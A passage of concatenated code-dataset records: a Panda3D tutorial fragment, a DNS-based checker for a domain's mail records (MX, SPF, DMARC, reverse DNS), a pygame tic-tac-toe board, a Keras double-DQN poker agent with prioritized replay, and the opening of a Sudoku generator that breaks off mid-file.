self.scene.setScale(0.25, 0.25, 0.25)\n self.scene.setPos(-8, 42, 0)\n\n # Add the spinCameraTask procedure to the task manager.\n self.taskMgr.add(self.spinCameraTask, \"SpinCameraTask\")\n # end __init__\n\n # Define a procedure to move the camera\n def spinCameraTask(self, task):\n angle_degree = task.time * 6.0\n angle_radians = angle_degree * (pi / 180.0)\n self.camera.setPos(20 * sin(angle_radians), -20.0 * cos(angle_radians), 3)\n self.camera.setHpr(angle_degree, 0, 0)\n return Task.cont\n # end spinCameraTask\n\n# end MyApp\n\n# Run\napp = MyApp()\napp.run()\n", "repo_name": "nschaetti/panda3d-tutorials", "sub_path": "introduction/the_scene_graph.py", "file_name": "the_scene_graph.py", "file_ext": "py", "file_size_in_byte": 1062, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "direct.showbase.ShowBase.ShowBase", "line_number": 7, "usage_type": "name"}, {"api_name": "direct.showbase.ShowBase.ShowBase.__init__", "line_number": 10, "usage_type": "call"}, {"api_name": "direct.showbase.ShowBase.ShowBase", "line_number": 10, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 29, "usage_type": "name"}, {"api_name": "math.sin", "line_number": 30, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 30, "usage_type": "call"}, {"api_name": "direct.task.Task.cont", "line_number": 32, "usage_type": "attribute"}, {"api_name": "direct.task.Task", "line_number": 32, "usage_type": "name"}]} {"seq_id": "30814591991", "text": "import dns.resolver\nfrom urllib.parse import * \nimport socket\n\ndef check_mx_records(domain):\n try:\n answers = dns.resolver.query(domain, 'MX')\n mx_records = [answer.exchange.to_text() for answer in answers]\n return mx_records\n except dns.resolver.NXDOMAIN:\n return None\n\ndef check_spf_records(domain):\n try:\n answers = dns.resolver.query(domain, 'TXT')\n for rdata in answers:\n for txt_string in rdata.strings:\n if \"v=spf1\" in txt_string.decode():\n return txt_string.decode()\n return None\n except dns.resolver.NXDOMAIN:\n return None\n\ndef check_dmarc_records(domain):\n try:\n dmarc_domain = \"_dmarc.\" + domain\n answers = dns.resolver.query(dmarc_domain, 'TXT')\n for rdata in answers:\n for txt_string in rdata.strings:\n if \"v=DMARC1\" in txt_string.decode():\n return txt_string.decode()\n return None\n except dns.resolver.NXDOMAIN:\n return None\n\ndef check_dkim_records(domain):\n try:\n answers = dns.resolver.query(domain, 'TXT')\n for rdata in answers:\n for txt_string in rdata.strings:\n if \"dkim=\" in txt_string.decode():\n return txt_string.decode()\n return None\n except dns.resolver.NXDOMAIN:\n return None\n\ndef check_reverse_dns(ip_address):\n try:\n hostname = socket.gethostbyaddr(ip_address)[0]\n return hostname\n except socket.herror:\n return None\n\n\ndef mail_mis_config(domain_name):\n # url = \"https://www.mollie.com/\"\n url=\"https://\"+domain_name\n\n parse_url = urlparse(url)\n print(parse_url)\n print(parse_url.netloc)\n domain=parse_url.netloc\n if domain.startswith('www.'):\n domain = domain[4:]\n print(domain)\n\n ip_address = socket.gethostbyname(domain)\n\n try:\n mx_records = check_mx_records(domain)\n if mx_records:\n print(\"MX Records: \")\n print(mx_records)\n print()\n else:\n print(\"No MX Records found.\")\n except:\n print(\"dns.resolver.NoAnswer: The DNS response does not contain an answer to the question: \"+domain+\" IN TXT\")\n try:\n spf_records = check_spf_records(domain)\n if spf_records:\n print(\"SPF Records:\"+spf_records)\n print(type(spf_records))\n else:\n print(\"No SPF Records found.\")\n except:\n spf_records=None\n print(\"dns.resolver.NoAnswer: The DNS response does not contain an answer to the question: \"+domain+\" IN TXT\")\n try:\n dmarc_records = check_dmarc_records(domain)\n if dmarc_records:\n print(\"DMARC Records:\"+dmarc_records)\n else:\n print(\"No DMARC Records found.\")\n except:\n print(\"dns.resolver.NoAnswer: The DNS response does not contain an answer to the question: \"+domain+\" IN TXT\")\n\n # dkim_records = check_dkim_records(domain)\n try:\n reverse_dns = check_reverse_dns(ip_address)\n if reverse_dns:\n print(\"Rerverse DNS Records:\"+reverse_dns)\n else:\n print(\"No Reverse DNS Records found.\")\n except:\n print(\"dns.resolver.NoAnswer: The DNS response does not contain an answer to the question: \"+domain+\" IN TXT\")\n\n try:\n return {\"MX_Records\":mx_records,\"SPF_Records\":spf_records,\"DMARC_Records\":dmarc_records,\"Reverse_dns_record\":reverse_dns}\n\n except:\n return {\"MX_Records\":False,\"SPF_Records\":False,\"DMARC_Records\":False,\"Reverse_dns_record\":False}\n\n\n# abc=mail_mis_config(\"www.mollie.com\")\n# print(abc)\n", "repo_name": "rohiit21/BE_Project", "sub_path": "Tools/mailMisconfig/Mail_Mis_Config.py", "file_name": "Mail_Mis_Config.py", "file_ext": "py", "file_size_in_byte": 3641, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dns.resolver.resolver.query", "line_number": 7, "usage_type": "call"}, {"api_name": "dns.resolver.resolver", "line_number": 7, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 7, "usage_type": "name"}, {"api_name": "dns.resolver.resolver", "line_number": 10, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 10, "usage_type": "name"}, {"api_name": "dns.resolver.resolver.query", "line_number": 15, "usage_type": "call"}, {"api_name": "dns.resolver.resolver", "line_number": 15, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 15, "usage_type": "name"}, {"api_name": "dns.resolver.resolver", "line_number": 21, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 21, "usage_type": "name"}, {"api_name": "dns.resolver.resolver.query", "line_number": 27, "usage_type": "call"}, {"api_name": "dns.resolver.resolver", "line_number": 27, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 27, "usage_type": "name"}, {"api_name": "dns.resolver.resolver", "line_number": 33, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 33, "usage_type": "name"}, {"api_name": "dns.resolver.resolver.query", "line_number": 38, "usage_type": "call"}, {"api_name": "dns.resolver.resolver", "line_number": 38, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 38, "usage_type": "name"}, {"api_name": "dns.resolver.resolver", "line_number": 44, "usage_type": "attribute"}, {"api_name": "dns.resolver", "line_number": 44, "usage_type": "name"}, {"api_name": "socket.gethostbyaddr", "line_number": 49, "usage_type": "call"}, {"api_name": "socket.herror", "line_number": 51, "usage_type": "attribute"}, {"api_name": "socket.gethostbyname", "line_number": 67, "usage_type": "call"}]} {"seq_id": "44756380535", "text": "import pygame, sys\nimport numpy as np\n\npygame.init()\n\nwidth = 600\nheight = 600\nline_widht = 15\nboard_rows = 3\nboard_cols = 3\n#cores\nred = (255, 0, 0)\nbg_color = (250, 250, 250)\nlinesColor = (230, 230, 230)\n\nscreen = pygame.display.set_mode((width, height))\npygame.display.set_caption('Tic Tac Toe')\nscreen.fill(bg_color)\n\n#borda\nboard = np.zeros((board_rows, board_cols))\n#print(board)\n\n#linhas\n\ndef draw_lines():\n #linhaHorizontal 1\n pygame.draw.line( screen, linesColor, (0, 200), (600, 200), line_widht)\n #linhaHorizontal 2\n pygame.draw.line( screen, linesColor, (0, 400), (600, 400), line_widht)\n #linhaVertical 1\n pygame.draw.line( screen, linesColor, (200, 0), (200, 600), line_widht)\n #linhaVerticail 2\n pygame.draw.line( screen, linesColor, (400, 0), (400, 600), line_widht)\n\ndef mark_square(row, col, player):\n board[row] [col] = player\n\ndef available_square(row, col):\n return board[row][col] == 0\n\ndef is_board_full():\n for row in range(board_rows):\n for col in range(board_cols):\n if board[row][col] == 0:\n return False\n \n return True\n\nprint(is_board_full())\nfor row in range(board_rows):\n for col in range(board_cols):\n mark_square(row, col, 1)\n\n# board is full - true\nprint(is_board_full())\n\ndraw_lines()\n\n#intinity loop\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n\n pygame.display.update()", "repo_name": "rGabrielLima/tic-tac-toe-IA", "sub_path": "TicTacToe.py", "file_name": "TicTacToe.py", "file_ext": "py", "file_size_in_byte": 1471, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygame.init", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.draw.line", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 32, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 62, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 62, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 63, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 64, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 66, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 66, "usage_type": "attribute"}]} {"seq_id": "13208716892", "text": "import configparser\nimport time\nfrom pathlib import Path\nfrom random import randint\n\nimport numpy as np\nfrom tensorflow.keras.callbacks import TensorBoard\nfrom tensorflow.keras.layers import Dense, Activation\nfrom tensorflow.keras.losses import Huber\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow_core.python.keras.layers import BatchNormalization\nfrom tensorflow_core.python.keras.optimizer_v2.adam import Adam\n\nfrom components.MemoryBuffer import MemoryBuffer\n\n\nclass DdqnPerSplitModel(object):\n\n def __init__(self, name, alpha, gamma, input_layer_size, input_layer_preflop_size, out_layer_size,\n split_network=True, with_per=True, memory_size=50000, batch_size=32):\n\n config = configparser.ConfigParser()\n config.read('configuration/agent_config.ini')\n config.sections()\n\n enable_model_load = config['model_weights'].getboolean('enable_load_model_weights')\n self.enable_model_save = config['model_weights'].getboolean('enable_save_model_weights')\n self.tensorboard_visualization = config['tensorboard'].getboolean('enable_ddqnper')\n self.reset_epsilon_greedy_if_model_loaded_to = config['model_settings'].getfloat(\n 'reset_epsilon_greedy_if_model_loaded_to')\n\n # Hyperparameters\n self.memory = MemoryBuffer(max_size=memory_size, number_of_parameters=input_layer_size, with_per=with_per)\n if split_network:\n self.memory_preflop = MemoryBuffer(max_size=memory_size, number_of_parameters=input_layer_preflop_size,\n with_per=with_per)\n self.gamma = gamma\n self.learning_rate = alpha\n self.batch_size = batch_size\n self.out_layer_size = out_layer_size\n self.replace_target_network_after = config['model_settings'].getint('ddqn_replace_network_interval')\n self.priority_offset = 0.1 # used for priority, as we do not want to have priority 0 samples\n self.priority_scale = 0.7 # priority_scale, suggested by Paper\n self.split_network = split_network\n self.with_per = with_per\n\n loss = Huber()\n optimizer = Adam(learning_rate=alpha)\n\n # Epsilon Greedy Strategy\n self.epsilon = 1.0 # enable epsilon = 1.0 only when changing model, else learned weights from .h5 are used.\n self.epsilon_decay = 0.9999\n self.epsilon_min = 0.005\n\n # Keras Models\n if split_network:\n hl1_dims = 512\n hl2_dims = 256\n hl3_dims = 128\n\n hl1_preflop_dims = 128\n hl2_preflop_dims = 64\n hl3_preflop_dims = 64\n\n self.dqn_eval_preflop = self._build_model(hl1_preflop_dims, hl2_preflop_dims, hl3_preflop_dims,\n input_layer_preflop_size, out_layer_size, optimizer, loss)\n self.dqn_target_preflop = self._build_model(hl1_preflop_dims, hl2_preflop_dims, hl3_preflop_dims,\n input_layer_preflop_size, out_layer_size, optimizer, loss)\n\n self.keras_weights_preflop_filename = '{}_preflop.keras'.format(name)\n else:\n hl1_dims = 128\n hl2_dims = 64\n hl3_dims = 64\n\n self.dqn_eval = self._build_model(hl1_dims, hl2_dims, hl3_dims, input_layer_size, out_layer_size, optimizer,\n loss)\n self.dqn_target = self._build_model(hl1_dims, hl2_dims, hl3_dims, input_layer_size, out_layer_size, optimizer,\n loss)\n\n self.keras_weights_filename = '{}.keras'.format(name)\n\n if self.tensorboard_visualization:\n comment = 'adam-huber'\n comment_preflop = 'adam-huber-preflop'\n path = config['tensorboard']['file_path']\n tboard_name = '{}{}-cmt-{}_hl1_dims-{}_hl2_dims-{}_hl3_dims-{}-time-{}'.format(path, name, comment,\n hl1_dims,\n hl2_dims, hl3_dims,\n int(time.time()))\n\n if split_network:\n tboard_name_preflop = '{}{}-cmt-{}_hl1_dims-{}_hl2_dims-{}_hl3_dims-{}-time-{}'.format(path, name,\n comment_preflop,\n hl1_preflop_dims,\n hl2_preflop_dims,\n hl3_preflop_dims,\n int(time.time()))\n self.tensorboard_preflop = TensorBoard(tboard_name_preflop.format())\n\n self.tensorboard = TensorBoard(tboard_name.format())\n\n\n self.model_loaded = False\n if enable_model_load:\n self.load_model()\n else:\n print('Applying epsilon greedy strategy')\n\n def remember(self, previous_state, action, reward, new_state, done, street):\n \"\"\"\n :param previous_state: previous feature state\n :param action: action taken in that state\n :param reward: reward gained by that action in that state\n :param new_state: new_state after one step\n :param done: terminal value for the round\n :param street: street, used for split network\n \"\"\"\n if street == 'preflop' and self.split_network:\n self.memory_preflop.store_state(previous_state, action, reward, new_state, done)\n else:\n self.memory.store_state(previous_state, action, reward, new_state, done)\n\n def replay(self):\n \"\"\"\n Replay sample to apply model fitting.\n This replay function checks if split network is enabled and correspondingly applies replay to all networks.\n \"\"\"\n\n if self.with_per:\n self.replay_network_per()\n if self.split_network:\n self.replay_preflop_network_per()\n else:\n self.replay_network()\n if self.split_network:\n self.replay_preflop_network()\n\n def replay_network_per(self):\n \"\"\"\n Replay sample for network to apply model fitting while using Priotizied Experience Replay.\n Get MemoryBuffer sample and use Q-Learning Function applying TD-Error for Prioritized Replay\n \"\"\"\n\n if not self.memory.mem_cntr > self.batch_size:\n return\n\n if self.with_per:\n previous_states, actions, rewards, new_states, dones, importances, batch_indices = \\\n self.memory.get_sample_batch(self.batch_size, self.priority_scale)\n\n q_val_prev = self.dqn_eval.predict(previous_states)\n q_target = q_val_prev # needed to calculate differences which shall be zero\n q_val_new = self.dqn_eval.predict(new_states) # Estimate new next action target given the state\n q_val_new_target = self.dqn_target.predict(new_states)\n next_actions_eval = np.argmax(q_val_new, axis=1) # indices of max actions for q_val_new\n batch_index = np.arange(self.batch_size, dtype=np.int32)\n\n # Update Q-Target\n q_target[batch_index, actions] = rewards + self.gamma * q_val_new_target[batch_index, next_actions_eval] * dones\n\n # PER: Apply Importance Weights to training. Square by 1 - episolon - the more the network knows, the more the\n # important samples should be trained on.\n sample_weight_importances = importances ** (1 - self.epsilon)\n\n if self.tensorboard_visualization:\n self.dqn_eval.fit(previous_states, q_target, verbose=0, epochs=1, callbacks=[self.tensorboard],\n sample_weight=sample_weight_importances)\n else:\n self.dqn_eval.fit(previous_states, q_target, verbose=0, sample_weight=sample_weight_importances)\n\n # Update Priorities on batch_indices we just trained (this will change on whole buffer, therefore batch_indices\n # is needed, instead of sampled batch_index above.\n\n # Now compute temporal difference error for our predicted q_val and actual q_val after state transition\n q_next_action_target = q_val_new_target[batch_index, next_actions_eval]\n q_last_action_eval = q_target[batch_index, actions]\n td_errors = rewards + self.gamma * q_next_action_target - q_last_action_eval\n\n self.memory.set_priorities(batch_indices, td_errors)\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n else:\n self.epsilon = self.epsilon_min\n if self.memory.mem_cntr % self.replace_target_network_after == 0:\n self._update_target_network_weights()\n\n def replay_preflop_network_per(self):\n \"\"\"\n Replay sample for preflop network (if self.split_network is enabled) to apply model fitting while using\n Priotizied Experience Replay.\n Get MemoryBuffer sample and use Q-Learning Function applying TD-Error for Prioritized Replay\n \"\"\"\n\n if not self.memory_preflop.mem_cntr > self.batch_size or not self.split_network:\n return\n\n previous_states, actions, rewards, new_states, dones, importances, batch_indices = \\\n self.memory_preflop.get_sample_batch(self.batch_size, self.priority_scale)\n\n q_val_prev = self.dqn_eval_preflop.predict(previous_states)\n q_target = q_val_prev # needed to calculate differences which shall be zero\n q_val_new = self.dqn_eval_preflop.predict(new_states) # Estimate new next action target given the state\n q_val_new_target = self.dqn_target_preflop.predict(new_states)\n next_actions_eval = np.argmax(q_val_new, axis=1) # indices of max actions for q_val_new\n batch_index = np.arange(self.batch_size, dtype=np.int32)\n\n # Update Q-Target\n q_target[batch_index, actions] = rewards + self.gamma * q_val_new_target[batch_index, next_actions_eval] * dones\n\n # Update active eval network with DDQN function using target network\n # PER: Apply Importance Weights to training. Square by 1 - episolon - the more the network knows, the more the\n # important samples should be trained on.\n sample_weight_importances = importances ** (1 - self.epsilon)\n\n if self.tensorboard_visualization:\n self.dqn_eval_preflop.fit(previous_states, q_target, verbose=0, epochs=1,\n callbacks=[self.tensorboard_preflop], sample_weight=sample_weight_importances)\n else:\n self.dqn_eval_preflop.fit(previous_states, q_target, verbose=0, sample_weight=sample_weight_importances)\n\n # Update Priorities on batch_indices we just trained (this will change on whole buffer, therefore batch_indices\n # is needed, instead of sampled batch_index above.\n\n # Now compute temporal difference error for our predicted q_val and actual q_val after state transition\n q_next_action_target = q_val_new_target[batch_index, next_actions_eval]\n q_last_action_eval = q_target[batch_index, actions]\n td_errors = rewards + self.gamma * q_next_action_target - q_last_action_eval\n\n self.memory_preflop.set_priorities(batch_indices, td_errors)\n\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n else:\n self.epsilon = self.epsilon_min\n if self.memory_preflop.mem_cntr % self.replace_target_network_after == 0:\n self._update_target_network_weights()\n\n def replay_network(self):\n \"\"\"\n Replay sample for network to apply model fitting.\n Get MemoryBuffer sample and use Q-Learning Function.\n \"\"\"\n\n if not self.memory.mem_cntr > self.batch_size:\n return\n\n states, actions, rewards, new_states, dones = self.memory.get_sample_batch(self.batch_size)\n\n q_next = self.dqn_target.predict(new_states)\n q_eval = self.dqn_eval.predict(new_states) # Estimate new next action target given the state\n q_pred = self.dqn_eval.predict(states)\n q_target = q_pred # needed to calculate differences which shall be zero\n\n max_actions = np.argmax(q_eval, axis=1)\n batch_index = np.arange(self.batch_size, dtype=np.int32)\n\n q_target[batch_index, actions] = \\\n rewards + self.gamma * q_next[batch_index, max_actions.astype(\n int)] * dones # done has been inverted, see MemoryBuffer terminal_memory\n\n # Update active eval network with DDQN function using target network\n if self.tensorboard_visualization:\n self.dqn_eval.fit(states, q_target, verbose=0, epochs=1, callbacks=[self.tensorboard])\n else:\n self.dqn_eval.fit(states, q_target, verbose=0)\n\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n else:\n self.epsilon = self.epsilon_min\n\n if self.memory.mem_cntr % self.replace_target_network_after == 0:\n self._update_target_network_weights()\n\n def replay_preflop_network(self):\n \"\"\"\n Replay sample for preflop network to apply model fitting.\n Get MemoryBuffer sample and use Q-Learning Function.\n \"\"\"\n\n if not self.memory_preflop.mem_cntr > self.batch_size:\n return\n\n states, actions, rewards, new_states, dones = self.memory_preflop.get_sample_batch(self.batch_size)\n\n q_next = self.dqn_target_preflop.predict(new_states)\n q_eval = self.dqn_eval_preflop.predict(new_states) # Estimate new next action target given the state\n q_pred = self.dqn_eval_preflop.predict(states)\n q_target = q_pred # needed to calculate differences which shall be zero\n\n max_actions = np.argmax(q_eval, axis=1)\n batch_index = np.arange(self.batch_size, dtype=np.int32)\n\n q_target[batch_index, actions] = \\\n rewards + self.gamma * q_next[batch_index, max_actions.astype(\n int)] * dones # done has been inverted, see MemoryBuffer terminal_memory\n\n # Update active eval network with DDQN function using target network\n if self.tensorboard_visualization:\n self.dqn_eval_preflop.fit(states, q_target, verbose=0, epochs=1, callbacks=[self.tensorboard_preflop])\n else:\n self.dqn_eval_preflop.fit(states, q_target, verbose=0)\n\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n else:\n self.epsilon = self.epsilon_min\n\n if self.memory_preflop.mem_cntr % self.replace_target_network_after == 0:\n self._update_preflop_target_network_weights()\n\n def choose_action(self, state, street):\n \"\"\"\n Choose the action to be taken for current state.\n Epsilon Greedy Policy is being applied here.\n If self.split_network is enabled, the street is being evaluated\n to decide which network to use.\n :param state: current state (feature vector)\n :param street: current street for split_network\n :return: action_index to perform action\n \"\"\"\n\n if np.random.rand() <= self.epsilon:\n action = randint(0, self.out_layer_size - 1)\n else:\n size = state.shape\n state = np.reshape(state, [1, size[0]])\n\n if street == 'preflop' and self.split_network:\n q_values = self.dqn_eval_preflop.predict([state, np.ones(self.out_layer_size).reshape(1, self.out_layer_size)])\n else:\n q_values = self.dqn_eval.predict([state, np.ones(self.out_layer_size).reshape(1, self.out_layer_size)])\n action = np.argmax(q_values[0])\n\n return action\n\n def reset_state(self):\n self.dqn_eval.reset_states()\n\n def save_model(self):\n \"\"\"\n If self.enable_model_save (from agent_config.ini) is enabled, the model weights will be saved to location\n provided.\n Also checks if split_network is enabled and saves corresponding weights.\n \"\"\"\n if not self.enable_model_save:\n return\n\n self.dqn_eval.save('./model/' + self.keras_weights_filename)\n print('Model weights have been saved to ./model/' + self.keras_weights_filename)\n if self.split_network:\n self.dqn_eval_preflop.save('./model/' + self.keras_weights_preflop_filename)\n print('Model preflop weights have been saved to ./model/' + self.keras_weights_preflop_filename)\n\n def load_model(self):\n \"\"\"\n Load keras model weights under '/model' with keras_weights_filename\n \"\"\"\n if Path('./model/' + self.keras_weights_filename).is_file():\n try:\n self.dqn_eval.load_weights('./model/' + self.keras_weights_filename)\n self.epsilon = self.reset_epsilon_greedy_if_model_loaded_to\n self.model_loaded = True\n print('Pretrained model loaded, epsilon greedy set to {}'\n .format(self.reset_epsilon_greedy_if_model_loaded_to))\n except ValueError:\n print(\"Model could not be loaded ... using epsilon greedy strategy\")\n self.epsilon = 1.0\n\n if self.split_network and Path('./model/' + self.keras_weights_preflop_filename).is_file():\n try:\n self.dqn_eval_preflop.load_weights('./model/' + self.keras_weights_preflop_filename)\n print('Pretrained preflop model loaded, epsilon greedy set to {}'\n .format(self.reset_epsilon_greedy_if_model_loaded_to))\n except ValueError:\n print(\"Model could not be loaded ... using epsilon greedy strategy\")\n self.epsilon = self.reset_epsilon_greedy_if_model_loaded_to\n else:\n print('No model to load, applying epsilon greedy strategy')\n\n self._update_target_network_weights()\n self._update_preflop_target_network_weights()\n\n def _build_model(self, hl1_dims, hl2_dims, hl3_dims, input_layer_size, output_layer_size, optimizer, loss):\n \"\"\"\n :param hl1_dims: dimensions for first hidden layer\n :param hl2_dims: dimensions for second hidden layer\n :param hl3_dims: dimensions for third hidden layer\n :param input_layer_size: dimensions for input layer\n :param output_layer_size: dimensions for output layer\n :param optimizer: optimizer that should be used\n :param loss: loss function that should be used\n :return: keras sequential with batch norm model\n \"\"\"\n model = Sequential()\n\n # Input dimension and first Hidden Layer\n model.add(Dense(hl1_dims, input_dim=input_layer_size))\n model.add(BatchNormalization())\n model.add(Activation('relu'))\n\n # Second Hidden Layer\n model.add(Dense(hl2_dims))\n model.add(BatchNormalization())\n model.add(Activation('relu'))\n\n # Third Hidden Layer\n model.add(Dense(hl3_dims))\n model.add(BatchNormalization())\n model.add(Activation('relu'))\n\n # Output Layer\n model.add(Dense(output_layer_size))\n model.add(Activation('linear'))\n\n model.compile(optimizer=optimizer, loss=loss)\n\n return model\n\n def _update_target_network_weights(self):\n self.dqn_target.set_weights(self.dqn_eval.get_weights())\n\n def _update_preflop_target_network_weights(self):\n if self.split_network:\n self.dqn_target_preflop.set_weights(self.dqn_eval_preflop.get_weights())\n", "repo_name": "cudemo/pokerbot", "sub_path": "source/components/DdqnPerSplitModel.py", "file_name": "DdqnPerSplitModel.py", "file_ext": "py", "file_size_in_byte": 19978, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "configparser.ConfigParser", "line_number": 22, "usage_type": "call"}, {"api_name": "components.MemoryBuffer.MemoryBuffer", "line_number": 33, "usage_type": "call"}, {"api_name": "components.MemoryBuffer.MemoryBuffer", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.Huber", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow_core.python.keras.optimizer_v2.adam.Adam", "line_number": 48, "usage_type": "call"}, {"api_name": "time.time", "line_number": 90, "usage_type": "call"}, {"api_name": "time.time", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks.TensorBoard", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks.TensorBoard", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 157, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 206, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 256, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 293, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 324, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 324, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 325, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 328, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 334, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 360, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 371, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 396, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 399, "usage_type": "call"}, {"api_name": "tensorflow_core.python.keras.layers.BatchNormalization", "line_number": 400, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Activation", "line_number": 401, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 404, "usage_type": "call"}, {"api_name": "tensorflow_core.python.keras.layers.BatchNormalization", "line_number": 405, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Activation", "line_number": 406, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 409, "usage_type": "call"}, {"api_name": "tensorflow_core.python.keras.layers.BatchNormalization", "line_number": 410, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Activation", "line_number": 411, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 414, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Activation", "line_number": 415, "usage_type": "call"}]} {"seq_id": "26753039147", "text": "\nfrom sudoku_view import View\nimport random\nimport pygame\nimport bisect\n\nclass Model:\n\n def __init__ (self, window_width, cell_width, num_blanks):\n self.view = View(window_width, cell_width)\n self.cell_width = cell_width\n self.num_blanks = num_blanks\n self.clock = pygame.time.Clock()\n self.active_cell = None\n self.newRandomSudoku()\n\n \"\"\"\n Creates a new random Sudoku. The class variable num_blanks specifies the\n number of blank cells created in the Sudoku.\n \"\"\"\n\n def newRandomSudoku(self):\n self.numbers = [[(0,'b') for c in range(9)] for r in range(9)]\n self.rows = [[] for r in range(9)]\n self.cols = [[] for c in range(9)]\n self.squares = [[] for c in range(9)]\n # start with all cells blank\n self.blanks = [(i,j) for i in range(9) for j in range(9)]\n # fill a complete valid Sudoku\n self.autofillSudoku(0,visualize=False)\n # create a number of blank cells in the filled Sudoku\n self.blanks = self.createBlanks(self.num_blanks)\n self.numbers = [[(n,'b') for (n,c) in row] for row in self.numbers]\n self.view.redrawWindow(self.numbers)\n\n\n \"\"\"\n Removes number from a Sudoku to create blank cells. The number of blanks\n the method creates is defined by the parameter counter.\n \"\"\"\n\n def createBlanks(self, counter):\n blanks = []\n while counter > 0:\n r = random.randint(0,8)\n c = random.randint(0,8)\n (n,col) = self.numbers[r][c]\n if n > 0:\n self.numbers[r][c] = (0,'b')\n blanks.append((r,c))\n self.rows[r].remove(n)\n self.cols[c].remove(n)\n square_index = (r // 3) * 3 + (c // 3)\n self.squares[square_index].remove(n)\n counter -= 1\n blanks.sort()\n\n return blanks\n\n\n \"\"\"\n Recursive backtracking algorithm used for filling a valid sudoku. Fills\n the indices specified by the class variable blanks.\n\n Parameters:\n index: the current index in the variable blanks which the algorithm\n tries to fill.\n visualize: if True the search for a valid solution to the Sudoku is\n visualized.\n\n \"\"\"\n\n def autofillSudoku(self, index, visualize = True):\n (r,c) = self.blanks[index]\n square_index = (r // 3) * 3 + (c // 3)\n taken_numbers = self.rows[r] + self.cols[c] + self.squares[square_index]\n possible_numbers = [i for i in range(1,10) if i not in taken_numbers]\n\n while possible_numbers:\n i = random.randint(0,len(possible_numbers)-1)\n n = possible_numbers[i]\n self.numbers[r][c] = (n,'r')\n\n if visualize:\n self.clock.tick(15)\n self.view.redrawWindow(self.numbers)\n\n self.rows[r].append(n)\n self.cols[c].append(n)\n self.squares[square_index].append(n)\n\n # if we were able to place a number in the last 